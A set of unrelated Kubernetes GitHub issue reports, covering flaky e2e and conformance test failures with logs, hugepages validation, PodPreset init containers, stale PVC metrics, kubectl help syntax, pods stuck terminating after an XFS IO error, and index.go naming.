the test added in https://github.com/kubernetes/kubernetes/pull/52807 has been extremely flaky since it's introduction, and is messing with our e2e test signal.\r \r https://k8s-testgrid.appspot.com/release-master-blocking gke-serial\r https://k8s-testgrid.appspot.com/release-master-blocking gci-gce-serial\r https://k8s-testgrid.appspot.com/release-master-blocking gce-serial\r https://k8s-testgrid.appspot.com/release-master-blocking gci-gke-serial\r \r since the test was only added yesterday would is be okay to revert it for now?\r \r cc @gnufied @jeffvance @nikhiljindal\r cc @kubernetes/sig-storage-test-failures\r cc @kubernetes/kubernetes-release-managers

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r \r when  i run e2e conformance test, thoes test failed:\r  fail   k8s.io  networking  k8s.io  granular checks: pods  it  should function for node-pod communication: http  conformance  \r  fail   k8s.io  networking  k8s.io  granular checks: pods  it  should function for intra-pod communication: udp  conformance  \r  fail   k8s.io  networking  k8s.io  granular checks: pods  it  should function for node-pod communication: udp  conformance  \r  fail   k8s.io  networking  k8s.io  granular checks: pods  it  should function for intra-pod communication: http  conformance \r  fail   k8s.io  kubeletmanagedetchosts  it  should test kubelet managed /etc/hosts file  conformance \r \r log looks like this: \r \r  k8s.io  networking  k8s.io  granular checks: pods \r   should function for intra-pod communication: http  conformance \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:38\r  beforeeach   k8s.io  networking\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:130\r step: creating a kubernetes client\r oct 17 12:39:33.626: info: >>> kubeconfig: \r step: building a namespace api object\r step: waiting for a default service account to be provisioned in namespace\r  it  should function for intra-pod communication: http  conformance \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:38\r step: performing setup for networking test in namespace e2e-tests-pod-network-test-rgdpv\r step: creating a selector\r step: creating the service pods in kubernetes\r oct 17 12:39:33.657: info: waiting up to 10m0s for all  but 0  nodes to be schedulable\r step: creating test pods\r oct 17 12:44:59.722: info: unexpected error occurred: timed out waiting for the condition\r  aftereach   k8s.io  networking\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:131\r step: collecting events from namespace \ e2e-tests-pod-network-test-rgdpv\ .\r step: found 14 events.\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:33.680921129 +0000 utc - event for netserver-0: {default-scheduler } scheduled: successfully assigned netserver-0 to 192.168.0.25\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:33.87038608 +0000 utc - event for netserver-0: {kubelet 192.168.0.25} successfulmountvolume: mountvolume.setup succeeded for volume \ default-token-8ns9f\  \r oct 17 12:44:59.727: info: at 2017-10-17 12:39:34.895180444 +0000 utc - event for netserver-0: {kubelet 192.168.0.25} pulled: container image \ gcr.io/google_containers/netexec:1.7\  already present on machine\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:35.394217619 +0000 utc - event for netserver-0: {kubelet 192.168.0.25} created: created container\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:35.691409238 +0000 utc - event for netserver-0: {kubelet 192.168.0.25} started: started container\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:55.695690198 +0000 utc - event for test-container-pod: {default-scheduler } scheduled: successfully assigned test-container-pod to 192.168.0.25\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:55.700202036 +0000 utc - event for host-test-container-pod: {default-scheduler } scheduled: successfully assigned host-test-container-pod to 192.168.0.25\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:55.945159728 +0000 utc - event for test-container-pod: {kubelet 192.168.0.25} successfulmountvolume: mountvolume.setup succeeded for volume \ default-token-8ns9f\  \r oct 17 12:44:59.727: info: at 2017-10-17 12:39:55.948003674 +0000 utc - event for host-test-container-pod: {kubelet 192.168.0.25} successfulmountvolume: mountvolume.setup succeeded for volume \ default-token-8ns9f\  \r oct 17 12:44:59.727: info: at 2017-10-17 12:39:57 +0000 utc - event for host-test-container-pod: {kubelet 192.168.0.25} failedsync: error syncing pod\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:57.094652175 +0000 utc - event for test-container-pod: {kubelet 192.168.0.25} pulled: container image \ gcr.io/google_containers/netexec:1.7\  already present on machine\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:58 +0000 utc - event for host-test-container-pod: {kubelet 192.168.0.25} sandboxchanged: pod sandbox changed, it will be killed and re-created.\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:58.110131519 +0000 utc - event for test-container-pod: {kubelet 192.168.0.25} created: created container\r oct 17 12:44:59.727: info: at 2017-10-17 12:39:58.954561944 +0000 utc - event for test-container-pod: {kubelet 192.168.0.25} started: started container\r oct 17 12:44:59.736: info: pod                                 node          phase    grace  conditions\r oct 17 12:44:59.736: info: cc-2lkm6                            192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:09:12 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } \r oct 17 12:44:59.736: info: mysql-37j3m                         192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:11:22 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } \r oct 17 12:44:59.736: info: ningx-zf0s2                         192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:09:34 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } \r oct 17 12:44:59.736: info: s-1rfbd                             192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-12 20:22:52 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-12 20:23:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-12 20:22:52 +0000 utc  } \r oct 17 12:44:59.736: info: sadfsafd-klh8f                      192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-12 19:56:21 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-12 19:56:40 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-12 19:56:21 +0000 utc  } \r oct 17 12:44:59.736: info: sd-sc301                            192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:11:23 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } \r oct 17 12:44:59.736: info: sdfsdf-8qrks                        192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-12 21:07:28 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-12 21:07:30 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-12 21:07:28 +0000 utc  } \r oct 17 12:44:59.736: info: wordpress-d4k9h                     192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:10:48 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } \r oct 17 12:44:59.736: info: host-test-container-pod             192.168.0.25  pending          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:55 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:55 +0000 utc containersnotready containers with unready status:  hostexec } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:55 +0000 utc  } \r oct 17 12:44:59.736: info: netserver-0                         192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:33 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:53 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:33 +0000 utc  } \r oct 17 12:44:59.736: info: test-container-pod                  192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:55 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:59 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:39:55 +0000 utc  } \r oct 17 12:44:59.736: info: fluentd-elasticsearch-192.168.0.25  192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-12 17:53:28 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-12 17:54:18 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-12 17:53:28 +0000 utc  } \r oct 17 12:44:59.736: info: heapster-v1.4.0-2395533666-w9w58    192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:09:13 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } \r oct 17 12:44:59.736: info: kube-dns-v17-dd0md                  192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:09:49 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-13 05:08:59 +0000 utc  } \r oct 17 12:44:59.736: info: kube-proxy-192.168.0.25             192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-12 17:53:28 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-12 17:54:28 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-12 17:53:28 +0000 utc  } \r oct 17 12:44:59.736: info: sonobuoy                            192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:19:37 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:19:40 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:19:37 +0000 utc  } \r oct 17 12:44:59.736: info: sonobuoy-e2e-job-8749fc93234a4058   192.168.0.25  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:19:40 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:19:44 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-10-17 12:19:40 +0000 utc  } \r oct 17 12:44:59.736: info: \r oct 17 12:44:59.741: info: \r logging node info for node 192.168.0.25\r oct 17 12:44:59.744: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:192.168.0.25,generatename:,namespace:,selflink:/api/v1/nodes/192.168.0.25,uid:3df2554a-af76-11e7-851b-fa163e773679,resourceversion:627704,generation:0,creationtimestamp:2017-10-12 17:53:23.838290588 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,failure-domain.beta.kubernetes.io/zone: cn-north-1a,kubernetes.io/hostname: 192.168.0.25,name: test-fp-node-2,serverid: 84222bb8-00cc-430f-87e1-33db4abcf87c,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:192.168.0.25,providerid:,unschedulable:false,taints:  ,},status:nodestatus{capacity:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},memory: {{8164458496 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},memory: {{8059600896 0} {<nil>}  binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2017-10-17 12:44:55 +0000 utc 2017-10-12 17:53:23 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2017-10-17 12:44:55 +0000 utc 2017-10-12 17:53:23 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2017-10-17 12:44:55 +0000 utc 2017-10-12 17:53:23 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2017-10-17 12:44:55 +0000 utc 2017-10-12 17:53:33 +0000 utc kubeletready kubelet is posting ready status} ,addresses: {internalip 192.168.0.25} {hostname 192.168.0.25} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:f21bcad2f362498d924ac24efcdd3e2a,systemuuid:35434c36-c36a-42df-a92d-0aff1f3c2d13,bootid:386b1d40-6232-483b-80df-7f7b7f7c2472,kernelversion:3.10.0-229.42.1.97.x86_64,osimage:euleros v2.0sp1,containerruntimeversion:docker://1.11.2,kubeletversion:cce-1.7.3.17+8857de1a267f8f-dirty,kubeproxyversion:cce-1.7.3.17+8857de1a267f8f-dirty,operatingsystem:linux,architecture:amd64,},images: { fluentd:1.11  617825114} { gcr.io/heptio-images/kube-conformance:v1.7.3  504950988} { mysql:latest  412300183} { wordpress:latest  408332632} { gcr.io/heptio-images/sonobuoy:latest  326230178} { 117.78.33.214/dingshujie/apache-php:latest  244663227} { ops_agent:node  200491883} { gcr.io/google_containers/jessie-dnsutils:e2e  190122856} { kube-proxy:cce-1.7.3.17_8857de1a267f8f-dirty  114793936} { 117.78.33.214/dingshujie/nginx-fp:v1 117.78.33.214/dingshujie/nginx:latest nginx:latest  108275923} { gcr.io/google_containers/nginx-slim:0.7  86838142} { gcr.io/google_containers/heapster:v1.4.0  73395475} { kubedns-amd64:1.5  50815316} { gcr.io/google_containers/addon-resizer:1.7  38983736} { quay.io/coreos/etcd:v3.2  35749746} { gcr.io/google_containers/nettest:1.7  24051275} { gcr.io/google_containers/hostexec:1.2  13185747} { gcr.io/google_containers/dnsutils:e2e  8893907} { gcr.io/google_containers/netexec:1.7  8016035} { exechealthz-amd64:1.0  7115733} { gcr.io/google_containers/serve_hostname:v1.4  6222101} { kube-dnsmasq-amd64:1.3  5125973} { gcr.io/google_containers/test-webserver:e2e  4534272} { gcr.io/google_containers/porter:4524579c0eb935c056c8e75563b4e1eda31587e0  4413212} { gcr.io/google_containers/liveness:e2e  4387474} { gcr.io/google_containers/eptest:0.1  2970692} { gcr.io/google_containers/mounttest-user:0.5  1450761} { gcr.io/google_containers/mounttest:0.8  1450761} { gcr.io/google_containers/busybox:1.24  1113554} { gcr.io/google_containers/pause-amd64:3.0  746888} { pause:2.0  350164} ,volumesinuse:  ,volumesattached:  ,},}\r oct 17 12:44:59.744: info: \r logging kubelet events for node 192.168.0.25\r oct 17 12:44:59.748: info: \r logging pods the kubelet thinks is on node 192.168.0.25\r oct 17 12:44:59.751: info: unable to retrieve kubelet pods for node 192.168.0.25\r step: dumping a list of prepulled images on each node to file /tmp/results/image-puller.txt\r oct 17 12:44:59.755: info: waiting up to 3m0s for all  but 0  nodes to be ready\r step: destroying namespace \ e2e-tests-pod-network-test-rgdpv\  for this suite.\r oct 17 12:45:21.855: info: namespace: e2e-tests-pod-network-test-rgdpv, resource: bindings, ignored listing per whitelist\r oct 17 12:45:21.903: info: namespace e2e-tests-pod-network-test-rgdpv deletion completed in 22.144844571s\r \r • failure  348.277 seconds \r  k8s.io  networking\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:619\r    k8s.io  granular checks: pods\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:619\r     should function for intra-pod communication: http  conformance   it \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:38\r \r     expected error:\r         < errors.errorstring | 0xc42025ecb0>: {\r             s: \ timed out waiting for the condition\ ,\r         }\r         timed out waiting for the condition\r     not to have occurred\r \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:433\r \r other  four test's log also  occure on \ timed out waiting for the condition\  \r \r   what you expected to happen  :\r \r those  test case paas.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ cce-1.7.3.15+b7e2f8894c928e-dirty\ , gitcommit:\ b7e2f8894c928e631a63da37c703141c456f99b7\ , gittreestate:\ dirty\ , builddate:\ 2017-09-12t03:46:20z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ cce-1.7.3.17+8857de1a267f8f-dirty\ , gitcommit:\ 8857de1a267f8fa8075caccf446b2327ed76435c\ , gittreestate:\ dirty\ , builddate:\ 2017-09-15t02:03:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  docker version \r \r client:\r  version:        1.11.2\r  unicornversion: 1.11.2.5\r  api version:    1.23\r  go version:     go1.5.4\r  git commit:     6f3969d\r  built:          mon dec  5 13:26:15 2016\r  os/arch:        linux/amd64\r \r server:\r  version:        1.11.2\r  unicornversion: 1.11.2.5\r  api version:    1.23\r  go version:     go1.5.4\r  git commit:     6f3969d\r  built:          mon dec  5 13:26:15 2016\r  os/arch:        linux/amd64

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r a pod could be created with requests of resource huge page, but no limits of it.\r that breaks the restriction that requests of hugepages should be equals to that of limits.\r \r \r   what you expected to happen  :\r update validation to ensure requests of hugepages equals to that of limit\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod  with requests of resource huge page, but no limits of it.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r  \r   what happened  :\r \r i created a pod preset to inject an environment variable. the pod container gets properly injected, but the init container does not. \r \r a small sample is here:\r \r https://gist.github.com/wstrange/b9c1adc2139dab8f9b554a9d21b30bdd\r \r \r   what you expected to happen  :\r \r the init container would get the pod preset injected \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run kubectl create -f on the following gist:\r https://gist.github.com/wstrange/b9c1adc2139dab8f9b554a9d21b30bdd\r \r reproduced here:\r \r    \r apiversion: settings.k8s.io/v1alpha1\r kind: podpreset\r metadata:\r   name: test\r spec:\r   selector:\r     matchlabels:\r       app: test\r   env:\r     - name: setme\r       value: \ this should be set in the init container\ \r \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: test\r   labels:\r     app: test\r spec:\r   initcontainers:\r   - name: init\r     image: busybox\r     args:  \ env\  \r   containers:\r     - name: test\r       image: busybox\r       args:   \ sleep\ , \ 1000\  \r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-09t07:26:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: minikube 0.23.0\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r started with:\r    \r \r minikube start \\\r --extra-config=apiserver.admission.pluginnames=\ initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,genericadmissionwebhook,resourcequota,podpreset\ \r    \r

\r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r ipvs real server can't be right deleted in fakeipvs for ipvs testing.\r \r   what you expected to happen  :\r \r when delete ipvs real server, we can't give the weight information, so we can't use deep equal in  fakeipvs.deleterealserver .\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r prometheus metrics endpoint for pvc volume stats is showing stale data for volumes no longer mounted to node\r   what you expected to happen  :\r prometheus metrics endpoint for pvc volume stats only shows metrics for currently mounted volumes.\r \r   how to reproduce it  as minimally and precisely as possible   : migrate a pod with a pvc/volume mount to a different node. observe that the pvc volume metrics on the previous node still report the last known values.\r \r \r   anything else we need to know?  :\r the /stats/summary endpoint correctly reports only the currently mounted pvcs. it's only the /metrics endpoint that reports stale volume metrics\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.9.0-0.bpo.2-amd64  1 smp debian 4.9.18-1~bpo8+1  2017-04-10  x86_64\r - install tools:\r - others:\r

hey,i'am faced with a problem,the situation is as follows，i have proved the csr\r \r  root@k8s-10-12-100-236-10-12-100-236 ~   kubectl certificate approve node-csr-dkn2vh7vzvd9ujbf9xw_nwnzinzo1ivq1vxg_k1m-mu \r certificatesigningrequest \ node-csr-dkn2vh7vzvd9ujbf9xw_nwnzinzo1ivq1vxg_k1m-mu\  approved\r  root@k8s-10-12-100-236-10-12-100-236 ~   kubectl get csr\r name                                                   age       requestor           condition\r node-csr-dkn2vh7vzvd9ujbf9xw_nwnzinzo1ivq1vxg_k1m-mu   8m        kubelet-bootstrap   approved\r \r but caused the problem that kubectl get pods  not resource  found\r  root@k8s-10-12-100-236-10-12-100-236 ~   kubectl get nodes\r no resources found.\r you have new mail in /var/spool/mail/root\r  root@k8s-10-12-100-236-10-12-100-236 ~   \r \r how can you tell me why or privide the  solution？

 \r the documentation given by  kubectl create job --help   has incorrect syntax in the usage section.\r currently shows:\r \r  usage:\r   kubectl create job name  --from-cronjob=cronjob   flags   options  \r \r should show\r  usage:\r   kubectl create job name  --from=cronjob\\cronjob   flags   options  \r \r \r   environment  :\r - kubernetes client version v1.10.0\r \r @kubernetes/sig-docs-bug

 \r   what happened  :\r pod called to be deleted is stuck infinitely on 'terminating' while it has a volume mounted with flexvolume driver and xfs filesystem was shutdown due to io error on the drive.\r kubelet log:\r    \r e0807 10:15:28.651952   21655 nestedpendingoperations.go:267  operation for \ \\\ flexvolume-k8s/dummy/d3d357a1-9a27-11e8-b11b-525400daa710-dummy\\\   \\\ d3d357a1-9a27-11e8-b11b-525400daa710\\\  \  failed. no retries permitted until 2018-08-07 10:17:30.651880959 +0000 utc m=+71706.754210097  durationbeforeretry 2m2s . error: \ unmountvolume.teardown failed for volume \\\ dummy\\\   uniquename: \\\ flexvolume-k8s/dummy/d3d357a1-9a27-11e8-b11b-525400daa710-dummy\\\   pod \\\ d3d357a1-9a27-11e8-b11b-525400daa710\\\   uid: \\\ d3d357a1-9a27-11e8-b11b-525400daa710\\\   : error checking if path exists: stat /var/lib/kubelet/pods/d3d357a1-9a27-11e8-b11b-525400daa710/volumes/k8s~dummy/dummy: input/output error\ \r    \r \r   what you expected to happen  :\r pod is terminated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - schedule a pod with flexvolume mounted xfs filesystem\r - simulate an io error by injecting fault into the drive where mounted filesystem was placed  here is how i did this https://lxadm.com/using_fault_injection \r - perform some read/write operation on the filesystem until they start failing with input/output errors and you see a kernel log similar to this:\r    \r  76280.277926  fault_injection: forcing a failure.\r name fail_make_request, interval 100, probability 10, space 0, times -1\r  76280.277935  cpu: 0 pid: 1397 comm: kworker/0:0 tainted: g               ------------ t 3.10.0-862.9.1.el7.x86_64.debug  1\r  76280.277938  hardware name: innotek gmbh virtualbox/virtualbox, bios virtualbox 12/01/2006\r  76280.277947  workqueue: kdmflush dm_wq_work  dm_mod \r  76280.277950  call trace:\r  76280.277965    <ffffffffa89e9211>  dump_stack+0x19/0x1b\r  76280.277971    <ffffffffa85f2a7c>  should_fail+0x13c/0x160\r  76280.277976    <ffffffffa858aa4c>  generic_make_request_checks+0x24c/0x520\r  76280.277981    <ffffffffa8443eb8>  ? kmem_cache_alloc+0x128/0x3e0\r  76280.277985    <ffffffffa858d580>  generic_make_request+0x30/0x420\r  76280.277993    <ffffffffc0228d75>  __map_bio+0x135/0x250  dm_mod \r  76280.278002    <ffffffffc0227680>  ? queue_io+0x80/0x80  dm_mod \r  76280.278010    <ffffffffc0229097>  __clone_and_map_data_bio+0x177/0x280  dm_mod \r  76280.278018    <ffffffffc0229531>  __split_and_process_bio+0x391/0x650  dm_mod \r  76280.278026    <ffffffffc022a20e>  dm_wq_work+0x11e/0x150  dm_mod \r  76280.278037    <ffffffffa82cda3c>  process_one_work+0x22c/0x720\r  76280.278042    <ffffffffa82cd9ca>  ? process_one_work+0x1ba/0x720\r  76280.278048    <ffffffffa82ce056>  worker_thread+0x126/0x3b0\r  76280.278062    <ffffffffa82cdf30>  ? process_one_work+0x720/0x720\r  76280.278066    <ffffffffa82d6a2f>  kthread+0xef/0x100\r  76280.278071    <ffffffffa82d6940>  ? insert_kthread_work+0x80/0x80\r  76280.278077    <ffffffffa89ff177>  ret_from_fork_nospec_begin+0x21/0x21\r  76280.278081    <ffffffffa82d6940>  ? insert_kthread_work+0x80/0x80\r  76280.278428  xfs  dm-2 : metadata i/o error: block 0x19059  \ xlog_iodone\   error 5 numblks 64\r  76280.279200  xfs  dm-2 : xfs_do_force_shutdown 0x2  called from line 1222 of file fs/xfs/xfs_log.c.  return address = 0xffffffffc0377403\r  76280.279536  xfs  dm-2 : log i/o error detected.  shutting down filesystem\r  76280.280150  xfs  dm-2 : please umount the filesystem and rectify the problem s \r    \r - delete the pod\r \r   anything else we need to know?  :\r - debug kernel is required in order to be able to use fault injection\r \r   environment  :\r - client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }                                     \r - server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ clean\ , builddate:\ 2018-07-26t10:04:08z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: 1vm on local virtualbox\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : 3.10.0-862.9.1.el7.x86_64.debug \r - install tools: kubeadm\r - others: dummy flexvolume driver modified to use xfs instead of tmpfs, debug kernel

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i wrote some client code based on the usage of the word \ key\  in index.go, and my code was buggy.  then i looked more closely at index.go, and realized that it has a dichotomy but botches the naming and discussion of it.  the dichotomy is between what that file sometimes calls \ values\  and some of what it calls \ keys\ .  an  indexfunc  maps an object to a set of \ values\ .  the  indexkeys  method of an  indexer  maps   a, b   to a slice of keys and an error, where  a  names an index and  b  is a \ value\ .  specifically, the resulting slice of keys are those whose corresponding object is mapped by the named  indexfunc  to a set of \ values\  that includes  b .  but the name used for this second parameter  which i have called  b  here  is  indexkey .  instead it should be something more like  indexvalue .  the  byindex  method has the same parameter naming problem.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : all of them\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

